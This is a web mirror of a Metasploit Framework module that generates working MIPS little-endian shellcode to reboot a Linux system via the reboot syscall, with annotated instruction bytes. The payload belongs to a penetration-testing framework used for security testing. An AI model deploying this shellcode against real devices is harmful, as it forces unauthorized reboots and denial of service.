Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/mipsle/reboot.rb
19516 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 32
8
9
include Msf::Payload::Single
10
11
def initialize(info = {})
12
super(
13
merge_info(
14
info,
15
'Name' => 'Linux Reboot',
16
'Description' => %q{
17
A very small shellcode for rebooting the system.
18
This payload is sometimes helpful for testing purposes.
19
},
20
'Author' => [
21
'Michael Messner <devnull[at]s3cur1ty.de>', # metasploit payload
22
'rigan - <imrigan[at]gmail.com>' # original payload
23
],
24
'References' => [
25
['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
26
],
27
'License' => MSF_LICENSE,
28
'Platform' => 'linux',
29
'Arch' => ARCH_MIPSLE,
30
'Payload' => {
31
'Offsets' => {},
32
'Payload' => ''
33
}
34
)
35
)
36
end
37
38
def generate(_opts = {})
39
shellcode =
40
"\x21\x43\x06\x3c" + # lui a2,0x4321
41
"\xdc\xfe\xc6\x34" + # ori a2,a2,0xfedc
42
"\x12\x28\x05\x3c" + # lui a1,0x2812
43
"\x69\x19\xa5\x34" + # ori a1,a1,0x1969
44
"\xe1\xfe\x04\x3c" + # lui a0,0xfee1
45
"\xad\xde\x84\x34" + # ori a0,a0,0xdead
46
"\xf8\x0f\x02\x24" + # li v0,4088
47
"\x0c\x01\x01\x01" # syscall 0x40404
48
49
return super + shellcode
50
end
51
end
52
53